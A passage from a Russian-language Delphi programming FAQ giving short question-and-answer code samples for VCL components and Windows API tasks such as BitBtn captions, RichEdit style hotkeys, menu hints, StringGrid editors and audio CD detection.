  StatusBar.Canvas.TextOut(Rect.Left, Rect.Top, 'Panel - 0')

 end else begin

  StatusBar.Canvas.Font.Color := clGreen;

  StatusBar.Canvas.TextOut(Rect.Left, Rect.Top, 'Panel - 1');

 end;

end;

Вопрос:

Как сделать многострочную надпись на TBitBtn?

Ответ:

Выводите текст надписи непосредственно на "glyph" TBitBtn'а. См. пример.

Пример:

procedure TForm1.FormCreate(Sender: TObject);

var

 R : TRect;

 N : Integer;

 Buff : array[0..255] of Char;

begin

 with BitBtn1 do begin

  Caption := 'A really really long caption';

  Glyph.Canvas.Font := Self.Font;

  Glyph.Width := Width - 6;

  Glyph.Height := Height - 6;

  R := Bounds(0, 0, Glyph.Width, 0);

  StrPCopy(Buff, Caption);

  Caption := '';

  DrawText(Glyph.Canvas.Handle,Buff,StrLen(Buff),R, DT_CENTER or DT_WORDBREAK or DT_CALCRECT);

  OffsetRect(R,(Glyph.Width - R.Right) div 2, (Glyph.Height - R.Bottom) div 2);

  DrawText(Glyph.Canvas.Handle,Buff,StrLen(Buff),R, DT_CENTER or DT_WORDBREAK);

 end;

end;

Вопрос:

Как изменить стиль шрифта RichEdit нажатиями соответствующих комбинаций клавиш? (например включить курсив по нажатию Ctrl + I)

Ответ:

В примере стили шрифта меняются по нажатию след. комбинаций клавиш

• Ctrl + B — вкл/выкл жирного шрифта

• Ctrl + I — вкл/выкл наклонного шрифта

• Ctrl + S — вкл/выкл зачеркнутого шрифта

• Ctrl + U — вкл/выкл подчеркнутого шрифта

Пример:

const

 KEY_CTRL_B = 02;

 KEY_CTRL_I = 9;

 KEY_CTRL_S = 19;

 KEY_CTRL_U = 21;

procedure TForm1.RichEdit1KeyPress(Sender: TObject; var Key: Char);

begin

 case Ord(Key) of

 KEY_CTRL_B: begin

  Key := #0;

  if fsBold in (Sender as TRichEdit).SelAttributes.Style then (Sender as TRichEdit).SelAttributes.Style := (Sender as TRichEdit).SelAttributes.Style - [fsBold]

  else (Sender as TRichEdit).SelAttributes.Style := (Sender as TRichEdit).SelAttributes.Style + [fsBold];

 end;

 KEY_CTRL_I: begin

  Key := #0;

  if fsItalic in (Sender as TRichEdit).SelAttributes.Style then (Sender as TRichEdit).SelAttributes.Style := (Sender as TRichEdit).SelAttributes.Style - [fsItalic]

  else (Sender as TRichEdit).SelAttributes.Style := (Sender as TRichEdit).SelAttributes.Style + [fsItalic];

 end;

 KEY_CTRL_S: begin

  Key := #0;

  if fsStrikeout in (Sender as TRichEdit).SelAttributes.Style then (Sender as TRichEdit).SelAttributes.Style := (Sender as TRichEdit).SelAttributes.Style-[fsStrikeout]

  else (Sender as TRichEdit).SelAttributes.Style := (Sender as TRichEdit).SelAttributes.Style+[fsStrikeout];

 end;

 KEY_CTRL_U: begin

  Key := #0;

  if fsUnderline in (Sender as TRichEdit).SelAttributes.Style then (Sender as TRichEdit).SelAttributes.Style := (Sender as TRichEdit).SelAttributes.Style-[fsUnderline]

  else (Sender as TRichEdit).SelAttributes.Style := (Sender as TRichEdit).SelAttributes.Style+[fsUnderline];

 end;

 end;

end; 

Вопрос:

В документации компонента TRegIniFile говорится, что можно изменять корневой ключ (root key). Я пытаюсь это сделать но ничего не получается.

Ответ:

См. пример.

Пример:

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);

var WinIni : TRegIniFile;

begin

 WinIni := TRegIniFile.Create('');

 WinIni.RootKey := HKEY_LOCAL_MACHINE;

 WinIni.WriteString('Frank','Borland','Writes Fast Code!');

 WinIni.Free;

end;

Вопрос:

Можно ли динамически изменять свойство "owner" компонента во время выполнения программы?

Ответ:

Вы можете менять свойство "owner" и после создания компонента с помощью методов InsertComponent() и RemoveComponent().

Вопрос:

Как очистить содержимое Canvas'а?

Ответ:

Просто нарисуйте прямоугольник любого цвета.

Пример:

Canvas.Brush.Color := ClWhite;

Canvas.FillRect(Canvas.ClipRect); 

Вопрос:

Можно ли динамически менять какая форма считается главной в приложении во время работы программы?

Ответ:

Можно, но только во время загрузки приложения. Чтобы сделать это выберите "View→Project Source" и измените код инициализации приложения, так что порядок создания форм зависил от какого-то условия.

Примечание: Вам придется редактировать этот код, если Вы добавите в приложение новые формы.

begin

 Application.Initialize;

 if <какое-то условие> then begin

  Application.CreateForm(TForm1, Form1);

  Application.CreateForm(TForm2, Form2);

 end else begin

  Application.CreateForm(TForm2, Form2);

  Application.CreateForm(TForm1, Form1);

 end;

end.

Application.Run;

Вопрос:

Как программно "щелкнуть" по компоненту speed button? Я пытался использовать SendMessage но у Speedbuttons нет "handle".

Ответ:

В примере используется метод Perform класса TControl для отправки сообщения.

Пример:

procedure TForm1.SpeedButton1Click(Sender: TObject);

begin

 ShowMessage('clicked');

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 SpeedButton1.Perform(WM_LBUTTONDOWN, 0, 0);

 SpeedButton1.Perform(WM_LBUTTONUP, 0, 0);

end; 

Вопрос:

Можно ли отключить определенный элемент в RadioGroup?

Ответ:

В примере показано как получить доступ к отдельным элементам компонента TRadioGroup.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

begin

 TRadioButton(RadioGroup1.Controls[1]). Enabled := False;

end; 

Вопрос:

Почему методы рисования Delphi (например MoveTo и LineTo) рисуют на один пиксел короче?

Ответ:

Так работает большинство графических систем, включая Windows. Библиотека VCL просто передает вызовы в функции GDI. Если Вы хотите нарисовать линию с последним пикселом включительно просто добавте единицу к координатам.

Вопрос:

Как показать подсказки "hints" для элементов меню?

Ответ:

В примере создается обработчик события Application.Hint — подсказки меню изображаются на status panel.

Пример:

type TForm1 = class(TForm)

 Panel1: TPanel;

 MainMenu1: TMainMenu;

 MenuItemFile: TMenuItem;

 MenuItemOpen: TMenuItem;

 MenuItemClose: TMenuItem;

 OpenDialog1: TOpenDialog;

 procedure FormCreate(Sender: TObject);

 procedure MenuItemCloseClick(Sender: TObject);

 procedure MenuItemOpenClick(Sender: TObject);

private

 {Private declarations}

 procedure HintHandler(Sender: TObject);

public

 {Public declarations}

end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

 Panel1.Align := alBottom;

 MenuItemFile.Hint := 'File Menu';

 MenuItemOpen.Hint := 'Opens A File';

 MenuItemClose.Hint := 'Closes the Application';

 Application.OnHint := HintHandler;

end;

procedure TForm1.HintHandler(Sender: TObject);

begin

 Panel1.Caption := Application.Hint;

end;

procedure TForm1.MenuItemCloseClick(Sender: TObject);

begin

 Application.Terminate;

end;

procedure TForm1.MenuItemOpenClick(Sender: TObject);

begin

 if OpenDialog1.Execute then Form1.Caption := OpenDialog1.FileName;

end;

Вопрос:

Как опеделить состояние списка ComboBox, выпал/скрыт?

Ответ:

Пошлите ComboBox сообщение CB_GETDROPPEDSTATE.

Пример:

if SendMessage(ComboBox1.Handle, CB_GETDROPPEDSTATE,0,0) = 1 then begin

 {список ComboBox выпал}

end;

Вопрос:

Как удалить каталог вместе со всеми содержащимися в нем файлами?

Ответ:

В примере стираются все файлы в каталоге и сам каталог. Чтобы удалить файл, помечанные только для чтения (read only) и занятые другими программами в момент удаления — напишите дополнительную процедуру.

procedure TForm1.Button1Click(Sender: TObject);

var

 DirInfo: TSearchRec;

 r: integer;

begin

 r := FindFirst('C:\Download\*.*', FaAnyfile, DirInfo);

 while r = 0 do begin

  if ((DirInfo.Attr and FaDirectory <> FaDirectory) and (DirInfo.Attr and FaVolumeId <> FaVolumeID)) then if DeleteFile(pChar('C:\Download\' + DirInfo.Name))= false then ShowMessage('Unable to delete: C:\Download\'+DirInfo.Name);

  r := FindNext(DirInfo);

 end;

 SysUtils.FindClose(DirInfo);

 if RemoveDirectory('C:\Download\') = false then ShowMessage('Unable to delete directory: C:\Download\');

end;

Вопрос:

Как отключить системное меню формы и кнопки Minimize, Maximize, and Close во время выполнения(Runtime)?

Ответ:

В приведенном примере показано как это сделать

Пример:

procedure TForm1.Button1Click(Sender: TObject);

begin

 {Disable}

 Form1.BorderIcons := Form1.BorderIcons - [biSystemMenu, biMinimize, biMaximize];

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

 {Enable}

 Form1.BorderIcons := Form1.BorderIcons + [biSystemMenu, biMinimize, biMaximize];

end; 

Вопрос:

Как извлечь Red, Green, и Blue компонент из определенного цвета?

Ответ:

Используйте функции Window API Get RValue(), GetGValue(), и GetBValue().

Пример:

procedure TForm1.Button1Click(Sender: TObject);

begin

 Form1.Canvas.Pen.Color := clRed;

 Memo1.Lines.Add('Red := ' + IntToStr(GetRValue(Form1.Canvas.Pen.Color)));

 Memo1.Lines.Add('Red := ' + IntToStr(GetGValue(Form1.Canvas.Pen.Color)));

 Memo1.Lines.Add('Blue:= ' + IntToStr(GetBValue(Form1.Canvas.Pen.Color)));

end;

Вопрос:

Как определить номер текущей строки в TMemo?

Ответ:

Чтобы определить номер текущей строки любого объекта управления edit — пошлите ей сообщение EM_LINEFROMCHAR

Пример:

procedure TForm1.Button1Click(Sender: TObject);

var LineNumber : integer;

begin

 LineNumber := SendMessage(Memo1.Handle, EM_LINEFROMCHAR, word(-1), 0);

 ShowMessage(IntToStr(LineNumber));

end;

Вопрос:

Как проигрывать MPEG файл в Delphi-программе?

Ответ:

Если в системе Windows MMSystem установлен декодер MPEG — используя компонент TMediaPlayer

Пример:

procedure TForm1.Button1Click(Sender: TObject);

begin

 MediaPlayer1.Filename := 'C:\DownLoad\rsgrow.mpg';

 MediaPlayer1.Open;

 MediaPlayer1.Display := Panel1;

 MediaPlayer1.DisplayRect := Panel1.ClientRect;

 MediaPlayer1.Play;

end;

Вопрос:

Как использовать анимированный курсор?

Ответ:

Во первых необходимо получить handle курсора, а затем определить его в массиве курсоров компонента TScreen. Индексы предопределенных курсоров системы отрицательны, пользователь может определить курсор, индекс которого положителен.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

var h : THandle;

begin

 h := LoadImage(0, 'C:\TheWall\Magic.ani', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or LR_LOADFROMFILE);

 if h = 0 then ShowMessage('Cursor not loaded')

 else begin

  Screen.Cursors[1] := h;

  Form1.Cursor := 1;

 end;

end;

Вопрос:

Как узнать о нажатии "non-menu" клавиши в момент когда меню показано?

Ответ:

Создайте обработчик сообщения WM_MENUCHAR.

Пример:

unit Unit1;

interface

uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Menus;

type TForm1 = class(TForm)

 MainMenu1: TMainMenu;

 One1: TMenuItem;

 Two1: TMenuItem;

 THree1: TMenuItem;

private

 {Private declarations}

 procedure WmMenuChar(var m : TMessage); message WM_MENUCHAR;

public

 {Public declarations}

end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WmMenuChar(var m : TMessage);

begin

 Form1.Caption := 'Non standard menu key pressed';

 m.Result := 1;

end;

end.

Вопрос:

Как определить наличие сопроцессора?

Ответ:

В отличие от общепринятого мнения не всее клоны 486/586/686/ и Pentium имеют сопроцессор для вычислений с плавающей запятой. В примере определяется наличие сопроцессора и под Win16 и под Win32.

Пример:

{$IFDEF WIN32}

uses Registry;

{$ENDIF}

function HasCoProcesser : bool;

{$IFDEF WIN32}

var TheKey : hKey;

{$ENDIF}

begin

 Result := true;

{$IFNDEF WIN32}

 if GetWinFlags and Wf_80x87 = 0 then Result := false;

{$ELSE}

 if RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\FloatingPointProcessor',0, KEY_EXECUTE, TheKey) <> ERROR_SUCCESS then result := false;

 RegCloseKey(TheKey);

{$ENDIF}

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 if HasCoProcesser then ShowMessage('Has CoProcessor')

 else ShowMessage('No CoProcessor - Windows Emulation Mode');

end;

Вопрос:

Как узнать серийный номер аудио CD?

Ответ:

CD может иметь или не иметь серийный номер и/или универсальный код продукта (Universal Product Code). MCI-расширение Windows предоставляет эту информации с помощью комманды MCI_INFO_MEDIA_IDENTITY command. Эта команда возвращает уникальную ID-строку.

Пример:

uses MMSystem, MPlayer;

procedure TForm1.Button1Click(Sender: TObject);

var

 mp : TMediaPlayer;

 msp : TMCI_INFO_PARMS;

 MediaString : array[0..255] of char;

 ret : longint;

begin

 mp := TMediaPlayer.Create(nil);

 mp.Visible := false;

 mp.Parent := Application.MainForm;

 mp.Shareable := true;

 mp.DeviceType := dtCDAudio;

 mp.FileName := 'D:';

 mp.Open;

 Application.ProcessMessages;

 FillChar(MediaString, sizeof(MediaString), #0);

 FillChar(msp, sizeof(msp), #0);

 msp.lpstrReturn := @MediaString;

 msp.dwRetSize := 255;

 ret := mciSendCommand(Mp.DeviceId, MCI_INFO, MCI_INFO_MEDIA_IDENTITY, longint(@msp));

 if Ret <> 0 then begin

  MciGetErrorString(ret, @MediaString, sizeof(MediaString));

  Memo1.Lines.Add(StrPas(MediaString));

 end else Memo1.Lines.Add(StrPas(MediaString));

 mp.Close;

 Application.ProcessMessages;

 mp.free;

end;

end.

Вопрос:

Как вывести на элемент управления (Window control) текст, содержащий амперсанд — &?

Ответ:

Используя два амперсанда подряд. Windows интерпритирует одиночный амперсанд как указание на то, что следующий символ — горячая клавиша (и поддчеркивает следующий символ вместо изображения аперсанда).

Пример:

Button1.Caption := 'Черное && Белое';

Вопрос:

Как поместить bitmap в Metafile?

Ответ:

см. пример

Пример:

procedure TForm1.Button1Click(Sender: TObject);

var

 m : TmetaFile;

 mc : TmetaFileCanvas;

 b : tbitmap;

begin

 m := TMetaFile.Create;

 b := TBitmap.create;

 b.LoadFromFile('C:\SomePath\SomeBitmap.BMP');

 m.Height := b.Height;

 m.Width := b.Width;

 mc := TMetafileCanvas.Create(m, 0);

 mc.Draw(0, 0, b);

 mc.Free;

 b.Free;

 m.SaveToFile('C:\SomePath\Test.emf');

 m.Free;

 Image1.Picture.LoadFromFile('C:\SomePath\Test.emf');

end;

Вопрос:

Как узнать, что курсор мыши над моей формой?

Ответ:

Можно использовать функцию GetCapture() из Windows API.

Примечание: Cм. документацию Windows для информации об ограничениях функции GetCapture.

Пример:

procedure TForm1.FormDeactivate(Sender: TObject);

begin

 ReleaseCapture;

end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

begin

 If GetCapture = 0 then SetCapture(Form1.Handle);

 if PtInRect(Rect(Form1.Left,Form1.Top,Form1.Left + Form1.Width, Form1.Top + Form1.Height), ClientToScreen(Point(x, y))) then Form1.Caption := 'Мышка над формой!'

 else Form1.Caption := 'Мышка вне формы...';

end;

Вопрос:

Как программно определить, что приложение работает под Windows NT?

Ответ:

см. пример

Пример:

function IsNT : bool;

var osv : TOSVERSIONINFO;

begin

 result := true;

 GetVersionEx(osv);

 if osv.dwPlatformId = VER_PLATFORM_WIN32_NT then exit;

 result := false;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 if IsNt then ShowMessage('Running on NT')

 else ShowMessage('Not Running on NT');

end;

Вопрос:

Как создать bitmap из пиктогрммы (icon)?

Ответ:

Используя Bitmap.Canvas.Draw нарисуйте пиктограмму на Bitmap'е.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

var

 TheIcon : TIcon;

 TheBitmap : TBitmap;

begin

 TheIcon := TIcon.Create;

 TheIcon.LoadFromFile('C:\Program Files\Borland\IcoCur32\EARTH.ICO');

 TheBitmap := TBitmap.Create;

 TheBitmap.Height := TheIcon.Height;

 TheBitmap.Width := TheIcon.Width;

 TheBitmap.Canvas.Draw(0, 0, TheIcon);

 Form1.Canvas.Draw(10, 10, TheBitmap);

 TheBitmap.Free; TheIcon.Free;

end;

Вопрос:

Как создать отдельную подсказку (hint) для каждой ячейки StringGrid?

Ответ:

В приведенном примере отслеживается движение курсора мыши — при перемещении между ячейками StringGrid'а — появляется окно подсказки (hint), показывающее номер текущей строки и колонки.

Пример:

type TForm1 = class(TForm)

 StringGrid1: TStringGrid;

 procedure StringGrid1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

 procedure FormCreate(Sender: TObject);

private

 {Private declarations}

 Col : integer;

 Row : integer;

public

 {Public declarations}

end;

var Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

 StringGrid1.Hint := '0 0';

 StringGrid1.ShowHint := True;

end;

procedure TForm1.StringGrid1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);

var

 r : integer;

 c : integer;

begin

 StringGrid1.MouseToCell(X, Y, C, R);

 with StringGrid1 do begin

  if ((Row <> r) or (Col <> c)) then begin

   Row := r;

   Col := c;

   Application.CancelHint;

   StringGrid1.Hint :=IntToStr(r)+#32+IntToStr(c);

  end;

 end;

end;

Вопрос:

Как внести изменения в код VCL?

Ответ:

Примечание: внесение изменений в VCL не поддерживается Borland или Borland Developer Support.

Но если Вы решили сделать это...

Изменения в код VCL никогда не должны вносится в секцию "interface" модуля — только в секцию "implimentation". Наиболее безопасный способ внести изменения в VCL — создать новый каталог названный "исправленный VCL". Скопируйте файл VCL который Вы хотите изменить в этот каталог. Внесите изменения (лучше прокомментировать их) в этот файл. Затем добавьте путь к Вашему каталогу "исправленный VCL" в самое начало "library path". Перезапустите Delphi/C++ Builder и перекомпилируйте Ваш проект. "library path" можно изменить в меню:

Delphi 1 : Options | Environment | Library

Delphi 2 : Tools | Options | Library

Delphi 3 : Tools | Environment Options | Library

Delphi 4 : Tools | Environment Options | Library C++

Builder : Options | Environment | Library 

Вопрос:

Как в Delphi реализовать функцию — эквивалент TwipsPerPixel из VisualBasic?

Ответ:

Функции TwipsPerPixelX и TwipsPerPixelY, приведенные в примере реализуют ту же функциональность в Delphi.

Пример:

function TwipsPerPixelX(Canvas : TCanvas) : Extended;

begin

 result := 1440 / GetDeviceCaps(Canvas.Handle, LOGPIXELSX);

end;

function TwipsPerPixelY(Canvas : TCanvas) : Extended;

begin

 result := 1440 / GetDeviceCaps(Canvas.Handle, LOGPIXELSY);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 ShowMessage(FloatToStr(TwipsPerPixelX(Form1.Canvas)));

 ShowMessage(FloatToStr(TwipsPerPixelY(Form1.Canvas)));

end;

Вопрос:

Как вставить содержимое файла в текущую позицию курсора в компонете TMemo?

Ответ:

Считайте файл в TMemoryStream, затем используйте метод TMemo SetSelTextBuf() для вставки текста;

var

 TheMStream : TMemoryStream;

 Zero : char;

begin

 TheMStream := TMemoryStream.Create;

 TheMStream.LoadFromFile('C:\AUTOEXEC.BAT');

 TheMStream.Seek(0, soFromEnd); //Null terminate the buffer!

 Zero := #0;

 TheMStream.Write(Zero, 1);

 TheMStream.Seek(0, soFromBeginning);

 Memo1.SetSelTextBuf(TheMStream.Memory);

 TheMStream.Free;

end;

Вопрос:

Как в компоненте TMemo перехватить нажатие Ctrl-V и вставить специальный текст не из буфера обмена (clipboard)?

Ответ:

См. пример.

Пример:

uses ClipBrd;

procedure TForm1.Memo1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);

begin

 if ((Key = ord('V')) and (ssCtrl in Shift)) then begin

  if Clipboard.HasFormat(CF_TEXT) then ClipBoard.Clear;

  Memo1.SelText := 'Delphi is RAD!';

  key := 0;

 end;

end;

Вопрос:

Как создать эквивалент TEdit но только с выравниваением вводимого текста по центру или по правой стороне?

Ответ:

TEdit не поддерживает выравниваение текста по центру и по правой стороне — лучше использовать компонент TMemo. Вам понадобится запретить пользователю нажимать Enter, Ctrl-Enter и всевозможные комбинации клавиш со стрелками, чтобы избежать появления нескольких строк в Memo. Этого можно добиться и просматривая содержимое текста в TMemo в поисках кода возврата каретки (13) и перевода строки(10) на событиях TMemo Change и KeyPress. Можно также заменять код возврата каретки на пробел — для того чтобы позволять вставку из буфера обмена многострочного текста в виде одной строки.

Пример:

procedure TForm1.FormCreate(Sender: TObject);

begin

 Memo1.Alignment := taRightJustify;

 Memo1.MaxLength := 24;

 Memo1.WantReturns := false;

 Memo1.WordWrap := false;

end;

procedure MultiLineMemoToSingleLine(Memo : TMemo);

var t : string;

begin

 t := Memo.Text;

 if Pos(#13, t) > 0 then begin

  while Pos(#13, t) > 0 do delete(t, Pos(#13, t), 1);

  while Pos(#10, t) > 0 do delete(t, Pos(#10, t), 1);

  Memo.Text := t;

 end;

end;

procedure TForm1.Memo1Change(Sender: TObject);

begin

 MultiLineMemoToSingleLine(Memo1);

end;

procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char);

begin

 MultiLineMemoToSingleLine(Memo1);

end;

Вопрос:

Как запрограммировать undo?

Ответ:

См. пример

Memo1.Perform(EM_UNDO, 0, 0);

Если Вы хотите узнать, возможно ли выполнить операцию "Undo", проверьте "Undo status":

If Memo1.Perform(EM_CANUNDO, 0, 0) <> 0 then begin

 {Undo is possible}

end;

Для выполнения "Redo" выполните "Undo" еще раз.

Вопрос:

Можно ли создать форму, которая получает дополнительные параметры в методе Сreate?

Ответ:

Просто замените конструктор Create класса Вашей формы.

Пример:

unit Unit2;

interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type TForm2 = class(TForm)

private

 {Private declarations}

public

 constructor CreateWithCaption(aOwner: TComponent; aCaption: string);

 {Public declarations}

end;

var Form2: TForm2;

implementation

{$R *.DFM}

constructor TForm2.CreateWithCaption(aOwner: TComponent; aCaption: string);

begin

 Create(aOwner);

 Caption := aCaption;

end;

uses Unit2;

procedure TForm1.Button1Click(Sender: TObject);

begin

 Unit2.Form2 :=Unit2.TForm2.CreateWithCaption(Application, 'My Caption');

 Unit2.Form2.Show;

end;

Вопрос:

Как бы мне создать эдакий trackbar в котором вместо широкой белой полоски с ползунком была бы тонкая линия?

Ответ:

В примере создается компонент, унаследованный от TTrackbar который переопределяет метод CreateParams и убират флаг TBS_ENABLESELRANGE из Style. Константа TBS_ENABLESELRANGE обьявленна в модуле CommCtrl.

Пример:

uses CommCtrl, ComCtrls;

type TMyTrackBar = class(TTrackBar)

 procedure CreateParams(var Params: TCreateParams); override;

end;

procedure TMyTrackBar.CreateParams(var Params: TCreateParams);

begin

 inherited;

 Params.Style := Params.Style and not TBS_ENABLESELRANGE;

end;

var MyTrackbar : TMyTrackbar;

procedure TForm1.Button1Click(Sender: TObject);

begin

 MyTrackBar := TMyTrackbar.Create(Form1);

 MyTrackbar.Parent := Form1;

 MyTrackbar.Left := 100;

 MyTrackbar.Top := 100;

 MyTrackbar.Width := 150;

 MyTrackbar.Height := 45;

 MyTrackBar.Visible := true;

end;

Вопрос:

Мне нужен временный canvas, но когда я пытаюсь его создать получаю сообщения об ошибках. Как создать TCanvas?

Ответ:

Создайте Bitmap и используйте свойство canvas класса TBitmap. Пример создает Bitmap, рисует на его canvas'е, выводит этот canvas на форму и освобождает bitmap.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

var bm : TBitmap;

begin

 bm := TBitmap.Create;

 bm.Width := 100;

 bm.Height := 100;

 bm.Canvas.Brush.Color := clRed;

 bm.Canvas.FillRect(Rect(0, 0, 100, 100));

 bm.Canvas.MoveTo(0, 0);

 bm.Canvas.LineTo(100, 100);

 Form1.Canvas.StretchDraw(Form1.ClientRect,Bm);

 bm.Free;

end;

Вопрос:

В некоторых видео режимах прозрачная часть glyph'а стандартного TBitBtn становится видной. Как этого избежать?

Ответ:

В примере используется техника закраски прозрачной части glyph'а цветом кнопки на которой он находится — таким образом glyph кажется прозрачным.

Пример:

function InitStdBitBtn(BitBtn : TBitBtn; kind : TBitBtnKind) : bool;

var

 Bm1 : TBitmap;

 Bm2 : TBitmap;

begin

 Result := false;

 if Kind = bkCustom then exit;

 Bm1 := TBitmap.Create;

 case Kind of

 bkOK : Bm1.Handle := LoadBitmap(hInstance, 'BBOK');

 bkCancel : Bm1.Handle := LoadBitmap(hInstance, 'BBCANCEL');

 bkHelp : Bm1.Handle := LoadBitmap(hInstance, 'BBHELP');

 bkYes : Bm1.Handle := LoadBitmap(hInstance, 'BBYES');

 bkNo : Bm1.Handle := LoadBitmap(hInstance, 'BBNO');

 bkClose : Bm1.Handle := LoadBitmap(hInstance, 'BBCLOSE');

 bkAbort : Bm1.Handle := LoadBitmap(hInstance, 'BBABORT');

 bkRetry : Bm1.Handle := LoadBitmap(hInstance, 'BBRETRY');

 bkIgnore : Bm1.Handle := LoadBitmap(hInstance, 'BBIGNORE');

 bkAll : Bm1.Handle := LoadBitmap(hInstance, 'BBALL');

 end;

 Bm2 := TBitmap.Create;

 Bm2.Width := Bm1.Width;

 Bm2.Height := Bm1.Height;

 Bm2.Canvas.Brush.Color := ClBtnFace;

 Bm2.Canvas.BrushCopy(Rect(0, 0, bm2.Width, bm2.Height), Bm1, Rect(0, 0, Bm1.width, Bm1.Height), Bm1.canvas.pixels[0,0]);

 Bm1.Free;

 LockWindowUpdate(BitBtn.Parent.Handle);

 BitBtn.Kind := kind;

 BitBtn.Glyph.Assign(bm2);

 LockWindowUpdate(0);

 Bm2.Free;

 Result := true;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 InitStdBitBtn(BitBtn1, bkOk);

end;

Вопрос:

Создание PolyPolygon используя массив точек?

Ответ:

Polygon — метод компонента TCanvas получает в качестве параметра динамический массив точек. Функция PolyPolygon() из Windows GDI получает указатель на массив точек.

Пример:

procedure TForm1.Button1Click(Sender: TObject);

var

 ptArray : array[0..9] of TPOINT;

 PtCounts : array[0..1] of integer;

begin

 PtArray[0] := Point(0, 0);

 PtArray[1] := Point(0, 100);

 PtArray[2] := Point(100, 100);

 PtArray[3] := Point(100, 0);

 PtArray[4] := Point(0, 0);

 PtCounts[0] := 5;

 PtArray[5] := Point(25, 25);

 PtArray[6] := Point(25, 75);

 PtArray[7] := Point(75, 75);

 PtArray[8] := Point(75, 25);

 PtArray[9] := Point(25, 25);

 PtCounts[1] := 5;

 PolyPolygon(Form1.Canvas.Handle, PtArray,PtCounts,2);

end;

Вопрос:

Как создать невизуальный компонент без иконки, которая изображается в палитре компонентов в "design-time" (вроде TField)?

Ответ:

Невизуальные компоненты без иконки удобны для субкомпонентов, связанных с какими-то другими компонентами. Создайте компонент как обычно, но используйте RegisterNoIcon вместо RegisterComponent.

Вопрос:

Как показывать нестандартный встроенный редактор (inplace editor) в ячейке stringgrid (например combobox).

Ответ:

См. пример

Пример:

procedure TForm1.FormCreate(Sender: TObject);

begin

 {Высоту combobox'а не изменишь, так что вместо combobox'а будем изменять высоту строки grid'а !}

 StringGrid1.DefaultRowHeight := ComboBox1.Height;

 {Спрятать combobox}

 ComboBox1.Visible := False;

 ComboBox1.Items.Add('Delphi Kingdom');

 ComboBox1.Items.Add('Королевство Дельфи');

end;

procedure TForm1.ComboBox1Change(Sender: TObject);

begin

 {Перебросим выбранное в значение из ComboBox в grid}

 StringGrid1.Cells[StringGrid1.Col, StringGrid1.Row] :=ComboBox1.Items[ComboBox1.ItemIndex];

 ComboBox1.Visible := False;

 StringGrid1.SetFocus;

end;

procedure TForm1.ComboBox1Exit(Sender: TObject);

begin

 {Перебросим выбранное в значение из ComboBox в grid}

 StringGrid1.Cells[StringGrid1.Col, StringGrid1.Row] :=ComboBox1.Items[ComboBox1.ItemIndex];

 ComboBox1.Visible := False;

 StringGrid1.SetFocus;

end;

procedure TForm1.StringGrid1SelectCell(Sender: TObject; ACol, ARow: Integer; var CanSelect: Boolean);

var R: TRect;

begin

 if ((ACol = 3) AND (ARow <> 0)) then begin

  {Ширина и положение ComboBox должно соответствовать ячейке StringGrid}

  R := StringGrid1.CellRect(ACol, ARow);

  R.Left := R.Left + StringGrid1.Left;

  R.Right := R.Right + StringGrid1.Left;

  R.Top := R.Top + StringGrid1.Top;

  R.Bottom := R.Bottom + StringGrid1.Top;

  ComboBox1.Left := R.Left + 1;

  ComboBox1.Top := R.Top + 1;

  ComboBox1.Width := (R.Right + 1) - R.Left;

  ComboBox1.Height := (R.Bottom + 1) - R.Top;

  {Покажем combobox}

  ComboBox1.Visible := True;

  ComboBox1.SetFocus;

 end;

 CanSelect := True;

end;

Вопрос:

Как узнать есть ли в заданном CD-ROM'е Audio CD?

Ответ:

Можно использовать функцию Windows API GetDriveType() чтобы определить является ли дисковод CD-ROM'мом. И функцию API GetVolumeInformation() чтобы проверить VolumeName на равенство 'Audio CD'.

Пример:

function IsAudioCD(Drive : char) : bool;

var

 DrivePath : string;

 MaximumComponentLength : DWORD;

 FileSystemFlags : DWORD;

 VolumeName : string;

Begin

 result := false;

 DrivePath := Drive + ':\';

 if GetDriveType(PChar(DrivePath)) <> DRIVE_CDROM then exit;

 SetLength(VolumeName, 64);

 GetVolumeInformation(PChar(DrivePath),PChar(VolumeName), Length(VolumeName),nil,MaximumComponentLength,FileSystemFlags,nil,0);

 if lStrCmp(PChar(VolumeName),'Audio CD') = 0 then result := true;

end;

function PlayAudioCD(Drive : char) : bool;

var mp : TMediaPlayer;

begin

 result := false;

 Application.ProcessMessages;

 if not IsAudioCD(Drive) then exit;

 mp := TMediaPlayer.Create(nil);

 mp.Visible := false;

 mp.Parent := Application.MainForm;

 mp.Shareable := true;

 mp.DeviceType := dtCDAudio;

 mp.FileName := Drive + ':';

 mp.Shareable := true;

 mp.Open;

 Application.ProcessMessages;

 mp.Play;

 Application.ProcessMessages;

 mp.Close;

 Application.ProcessMessages;

 mp.free;

 result := true;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

 if not PlayAudioCD('D') then ShowMessage('Not an Audio CD');

end;

Вопрос:

Как узнать есть ли у мыши колесико?

Ответ:

Свойство "WheelPresent" глобального обьекта "mouse". 

Вопрос:

События KeyPress и KeyDown не вызываются для клавиши Tab — как определить, что она была нажата?

Ответ:

На уровне формы клавиша tab обычно обрабатывается Windows. В примере создается обработчик события CM_Dialog для перехвата Dialog keys.

Пример:

type TForm1 = class(TForm)

private

